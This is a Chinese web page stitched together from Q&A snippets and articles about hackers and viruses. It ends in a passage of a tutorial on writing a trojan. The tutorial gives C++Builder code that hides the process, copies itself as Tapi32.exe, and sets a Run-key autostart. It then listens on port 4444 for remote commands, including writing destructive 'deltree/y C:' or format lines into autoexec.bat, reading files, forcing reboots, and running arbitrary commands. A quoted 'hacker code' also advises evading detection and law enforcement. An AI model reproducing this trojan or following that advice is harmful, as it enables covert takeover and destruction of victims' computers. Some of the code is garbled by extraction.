黑客组织编写恶作剧(编程恶作剧)

hacker|
103

计算机病毒来源于什么地方

计算机病毒的主要来源有(  )。答案是ABD,恶意编制、并通过网络等媒介传播、扩散网页链接

A、黑客组织编写     B、恶作剧

C、计算机自动产生  D、恶意编制

什么是黑客?做黑客犯不犯法?黑客做哪些坏事?

什么是黑客?

黑客一词,源于英文Hacker,原指热心于计算机技术,水平高超的电脑专家,尤其是程序设计人员。

但到了今天,黑客一词已被用于泛指那些专门利用电脑搞破坏或恶作剧的家伙。对这些人的正确英文叫法是Cracker,有人翻译成“骇客”。

黑客和骇客根本的区别是:黑客们建设,而骇客们破坏。

黑客守则:

第一条:不恶意破坏任何的系统,这样作只会给你带来麻烦。恶意破坏它人的软体将导致法律刑责,如果你只是使用电脑, 那仅为非法使用! 注意:千万不要破坏别人的软体或资料!

第二条:不修改任何的系统档,如果你是为了要进入系统而修改它,请在答到目的后将它改回原状。

第三条:不要轻易的将你要 Hack 的站点告诉你不信任的朋友。

第四条:不要在bbs上谈论你Hack 的任何事情。

第五条:在Post文章的时候不要使用真名。

第六条. 正在入侵的时候, 不要随意离开你的电脑

第七条. 不要侵入或破坏政府机关的主机。

第八条. 不在电话中谈论你 Hack 的任何事情。

第九条. 将你的笔记放在安全的地方。

真正的黑客应该具备什么素质

我想能看到这篇文章的朋友,一定对黑客这个词不陌生。但能真正彻底的理解这个词却不是一件容易的事。在这里我要说些不同的看法,并不是要说明什么,只是想要告诉大家,事情有好多方面,从不同的角度看一件事可能会有好多不同的答案。比如,时下在国内网络界很火的红客,蓝客。就我个人认为这是对黑客和黑客精神的不尊敬,也代表着他们对“黑客”一词并不是很了解。

“黑客”算是一个外来词, 是hacker的中文翻译。其实它也没有什么特殊的意思,原意是指一些热衷于计算机和网络技术的人。这些人为计算机和网络世界而发狂,对任何有趣的问题都会去研究,他们的精神是一般人所不能领悟的。无可非议,这样的“hacker”是一个褒意词。但英雄谁都愿意做,慢慢的有些人打着黑客的旗帜,做了许多并不光彩的事。黑客们叫他们骇客(creaker),并以他们为耻,不愿和他们做朋友。其实,黑客和骇客并没有一个十分明显的界限。他们都入侵网络,破解密码。但从他们的出发点上看,却有着本质的不同:黑客是为了网络安全而入侵,为了提高自己的技术而入侵。free是黑客们的理想, 他们梦想的网络世界是没有利益冲突,没有金钱交易,完全共享的自由世界。而骇客们呢,为了达到自己的私欲,进入别人的系统大肆破坏。为了几个零花钱而破解软件。黑客们拼命的研究,是为了完善网络,是网络更加安全。 骇客们也在钻研,他们是为了成为网络世界的统治者,成为网络世界的神。这是多么可怕的想法,现代社会越来越依赖于网络,如果没有黑客保护我们的网络,我们的网络就会被那些别有用心的骇客所利用,成为一个暗无天日的世界。

以上是黑客和骇客的区别。现在谈谈中国特有的红客和蓝客。也许是中国人自古就不太喜欢“黑”这个字,一想到黑字就想到了一些乌七八糟的东西。也许中国第一个黑客就不是什么好人,也没做什么好事,给大家的第一影响就不是很好。以至于现在有好多网络高手不想和黑客扯上一点关系,却以红客和蓝客自居。为什么?黑客这个称号不配你,还是你配不上这个称号。这不是跆拳道,白带,黄带,蓝带,一级级的来,最后到黑带。我认为,在网络世界里只有黑客和骇客的斗争,一正一邪。其他什么都没用。真心想为网络做点什么吗?好的,来做黑客,全身心的投入,一生不懈的努力。总是会有收获的,即使没有做成黑客,努力过了,也会心安理得。而不是用红客,蓝客自欺欺人。

我不是针对某些组织,我只是想说出自己的看法。我总是觉得,连网络界的朋友心都不齐,闹着要分家。大众诋毁黑客也是理所当然的了。 敢于做黑客,即使被别人误解。他们不理解 ,好,用实际行动来证明自己,用实际行动来告诉别人真正的黑客是什么样的。用小软件破解个QQ号,丢个炸弹,不算什么黑客。当大家真正知道了什么才是黑客,那些自以为是的人便成了大家的笑柄,网络上便不再会有这些偷鸡摸狗的事,大家都专心研究技术。这样的网络世界才会发展,这样的网络世界才是我们向往的最理想的家园。

我个人认为的做黑客要具备的几个基本要素:

首先,想要做一名黑客,首先要学会尊重网络。有些人在网上到处留假信息,注册的姓名,年龄都是假的。一方面,这样做是为了安全。但这样却侮辱了网络。你可以把它比作你的爱人,你对你的爱人说的话没一句是真的,这能代表你是真的爱她吗?现在几乎所有的正规网站都会对用户的资料进行一定程度的保护。担心网络会泄密,有些多余,再说你又不是克林顿,布什,都平常的网民怕什么,正所谓“我是流氓我怕谁”。(以上不包括必须留假姓名的情况)

其次,要想成为一名黑客不懂得网络及相应的计算机知识是不可想象的。每一个黑客都有着超乎常人的钻研精神,而且非常善于学习。时代在进步,科技也在不断的完善,只有学习我们才不会落后,只有不断的学习我们才能领先于别人。想在网络中闹出些名堂来,有些知识是不得不学的。网络基础,顾名思义他是网络世界中最原始的规则,如果连游戏规则都不懂,怎么玩转它。TCP/IP,这是现在的网络上最流行的一种网络协议,网络上大部分的工作都是*这种网络协议来完成。还有很多,这里就不多说了。

你学过编程吗?学的怎么样,有什么成绩了?编程对于一名计算机或网络工作者来说,就像左右手一样重要。不会的话赶快学吧!我建议要学多几种编程语言,已备不同情况时使用。这里我推荐几种:汇编语言,我个人觉得这是一种最有用的编程语言。虽然有点复杂,但它是汇编语言,比高级语言更*近计算机硬件。在某些问题上要优于高级语言。在高级语言中我比较喜欢Delphi,大家不是都说吗“真正的程序员用VC,聪明的程序员哟Delhpi,用VB的不是程序员。”Delphi的结构简单,功能强大,是我喜欢它的原因。如果你要立志成为一名优秀的程序员,而学习VC的话。我会替你高兴的,但你在信誓旦旦的同时也要做好受尽煎熬的准备,VC有是并不想你想象的那么可爱。网络时代许多网络编程语言成了大家的新宠,在这其中我还是推荐一种比较基础的HTML语言。一来是因为它比较基础,二来它已经得到了大家的公认,掌握的人也挺多,不懂可以问,这对你学习是很有帮助的。

现在,也许我们的个人电脑安装的都是微软的产品。但在真正的网络服务器,网络操作系统多种多样,这是因为大家对网络的安全性要求不尽相同。Windows 2000,Unix,Liunx, SUN OS这些都是现在网络上比较流行的网络操作系统。从我的观点来说,这些是我们都要掌握。至少要有个大概了解,再对一两种有深入的研究。了解它的历史,工作原理,特性以及它的漏洞。这样,我们才不会在遇到他们时手忙脚乱。

其实做黑客对人自身也有要求。聪明好学先放在一旁不说,光是入侵是不管的试密码和破解是长时间的等待就是常人难以忍受的。而且,黑客和骇客的区别不大,往往就在一念之间。经过几年的努力,就因为一念之差做了骇客。大家肯定都不愿做,但有时就是控制不住自己了。所以,我们要练习着使自己有耐性,还要淡漠名利,一心只想着FREE。

另外,英语不太好的朋友赶快把英语学好。我想,中国的黑客技术发展很慢的一大原因就是因为我们的英语水平不高。不像欧洲和美国的黑客那样可以进行技术交流,而且许多的技术文章,漏斗报告都是先有英文版,在翻成中文的。也许文章是由一些蹩脚的,非计算机专业的人来翻译。这就造成了技术的滞后和失真。也许有人会说,太忙了,没时间学。我说,不如我们三个月不谈计算机,不谈网络,一门心思学习英语。先利其器,磨刀不误砍柴功。等到学好了英语,再来看英文的技术文章,你会觉得眼前一片豁亮,学起来更加得心应手。

上面说的是做黑客的一些要求,这类文章网上到处都是。下面我想说的是,我们的黑客组织并不完善,这在某些方面也拖慢了我们前进的步伐。

黑客组织是一个很严密的机构,在其中分工明确,细致入微。像很著名的黑客组织DAY0,这个组织是一个偏重于软件破解的黑客组织。他们就分好多部门:采购部,买正版软件(大部分是试用版)以供给破解部门。破解部,核心部门,进行软件密码的破解。测试部,对软件进行检测,发现BUG马上通知破解部修正。发行部,负责软件的上传,以供其他网友下载。信息部,收集信息,接受网友们的信息反馈。这些部门的成员也许分布在地球的不同角落,但他们分工明确,接到任务马上执行。

在我看来黑客大概可以有以下几种分工:

编程:我们现在用的黑客软件都是这类人编写的,还有那些可恶的病毒。他们大都是程序员出身,对网络并不熟悉。但他们都有扎实的计算机功底和过硬的编程技术,是很棒的计算机人才。他们会利用自身的优势编写许多有用的软件出来,使我们的网络世界更加丰富,也可以使我们的入侵变得更加简单。

破解:这是很早以前就形成的一个分支。这些人主要进行的工作是破解试用版软件的密码,从而使这个软件成为真正意义上的免费软件。这些人其实也掌握了编程的技术,而他们对破解密码,反编译更加有经验。黑客精神中最精华的部分就体现在这些人的工作中,把任何软件都变成自由软件,共享出来给大家免费下载。

入侵:好多人把黑客理解为入侵的人,殊不知入侵只是黑客团体中一种分工。黑客们的入侵是为了更加的了解网络,他们不断的入侵,发现漏洞,解决它。虽然,他们的行为没有经过服务器主人的允许,但他们的行为是为了网络的安全着想。入侵使网络上介绍最多的一个黑客分支,大家对他也比较了解了,我也不再多说什么。但你要注意,进入别人的主机,千万不要图一时之快,删掉不该删的东西。这样做着会让真正的黑客看不起,没准也会招来不必要的麻烦。

维护:有攻就有防,有一类人就是专门研究网络维护方面的专家。他们对黑客的攻击手段很了解,修补漏洞是他们的家常便饭。可以说他们比入侵者更强,更了解我们的网络。因为,入侵者可以用一种方法进攻不同的站点和主机。有一个成功了,他的入侵就算成功。而维护人员要防许多黑客的进攻,有一次失败,就是失败。这好像足球场上的前锋和守门员的区别。前锋,攻城拔寨,谁都想当。而守门员默默地站在本方的门前,保护着自己的球门,但通常守门员是一支球队中身体素质最好的。

在这四类工作中还可以再进行不同的分工,但要根据自身情况而定,这里也不细讲了。

还有一种人,他们在黑客团体中并不显眼,但他们却为黑客技术的发展起了不小的作用。他们在写文章,把他们知道的东西都写成文章,无私的传授给别人。在他们的帮助下,越来越多的人进入了黑客这个神圣的团体中。而他们还在默默的写着,用他们的文章描绘真正的黑客和黑客精神。

我希望大家看了我的文章会对黑客以及黑客精神有了另一种理解,我的目的也就在于此。黑客不是神,也不是什么高高在上的职业,有的黑客甚至不能用他的黑客技术填饱自己的肚子。黑客只是一种爱好,只是一种兴趣,很多人为了这个爱好,兴趣付出了自己最宝贵的东西。而我们要学着尊重网络,尊重黑客精神,我们的前辈有生命谱写的黑客文化是不容我们玷污的。

最后,我附上在网上已经流传了很久的一段黑客守则。看过的人,请再看几遍,也许你会感到有以前你没看到的东西在里面。没看过的人,仔细看,能被就背下来吧,它在我眼里更像是护身符。不懂英文的人,就当是学英语了。

1 Never damage any system. This will only get you into trouble.不恶意破坏任何系统, 这样做只会给你带来麻烦。恶意破坏它人的软件或系统将导致法律刑责, 如果你只是使用电脑,那仅为非法使用!!注意:千万不要破坏别人的软件或资料!!

2 Never alter any of the systems files, except for those needed to insure that you are not detected, and those to insure that you have access into that computer in the future. 绝不修改任何系统文件,除非你认为有绝对把握的文件,或者要改那些文件是为了使你自己在以后更容易的再次进入这个系统而必须更改的。

3 Do not share any information about your hacking projects with anyone but those you''d trust.不要将你已破解的任何信息与人分享,除非此人绝对可以信赖。

4 When posting on BBS''s (Bulletin Board Systems) be as vague as possible when describing your current hacking projects. BBS''s CAN be monitered by law enforcement.当你发送相关信息到BBS(电子公告板)时,对于你当前所做的黑事尽可能说的含糊一些,以避免BBS受到警告。

5 Never use anyone''s real name or real phone number when posting on a BBS.在BBS上Post文章的时候不要使用真名和真实的电话号码。

6 Never leave your handle on any systems that you hack in to.如果你黑了某个系统,绝对不要留下任何的蛛丝马迹。(绝对不要留下大名或者是绰号之类的,这时由于成功的兴奋所导致的个人过度表现欲望会害死你的。)

7 Do not hack government computers.不要侵入或破坏政府机关的主机。

8 Never speak about hacking projects over your home telephone line.不在家庭电话中谈论你Hack的任何事情。

9 Be paranoid. Keep all of your hacking materials in a safe place.将你的黑客资料放在安全的地方。

10 To become a real hacker, you have to hack. You can''t just sit around reading text files and hanging out on BBS''s. This is not what hacking is all about.想真正成为黑客,你必须真枪实弹去做黑客应该做的事情。你不能仅仅*坐在家里读些黑客之类的文章或者从BBS中扒点东西,就能成为黑客,这不是"黑客"

真正的黑客 什么是黑客?只会使用工具来入侵的就叫黑客?网名:Coolfire !联系方法:cool.fire@msa.hinet.net 一个台湾籍黑客。出名之做遍是那8篇黑客入门文章,给众多菜鸟带来了福音。而当时还是中国黑客成长的初期。此人被人们定为中国第一代黑客。 网名:小榕 !个人站点: 提起这个名字,人们就会想到流光。这个当年让菜鸟入侵无数主机的武器遍出自小榕之手。小榕是高级程序员,所以精通的是软件开发和程序制作。流光,乱刀,溺雪及SQL注入......

黑客们在编写扰乱社会和他人的计算机程序,这些代码统称为什么

黑客们在编写的计算机程序代码统称为恶意代码。

恶意代码

定义一:恶意代码又称恶意软件。这些软件也可称为广告软件(adware)、间谍软件(spyware)、恶意共享软件(malicious shareware)。是指在未明确提示用户或未经用户许可的情况下,在用户计算机或其他终端上安装运行,侵犯用户合法权益的软件。与病毒或蠕虫不同,这些软件很多不是小团体或者个人秘密地编写和散播,反而有很多知名企业和团体涉嫌此类软件。有时也称作流氓软件。

定义二:恶意代码是指故意编制或设置的、对网络或系统会产生威胁或潜在威胁的计算机代码。最常见的恶意代码有计算机病毒(简称病毒)、特洛伊木马(简称木马)、计算机蠕虫(简称蠕虫)、后门、逻辑炸弹等。

英文:malicious software 或 malevolent software,Malicious code,malevolent code 或者简称Malware。

参考资料

百度文库:

什么是黑客?什么是电脑病毒?是怎么作的?

什么是计算机病毒

计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓

延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随

同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎

仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不

寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序

的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为

制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制

并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒

所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复

制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计

算机资源进行破坏作用的一组程序或指令集合。

参考:

木马是如何编写的(一)

武汉 周侃

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

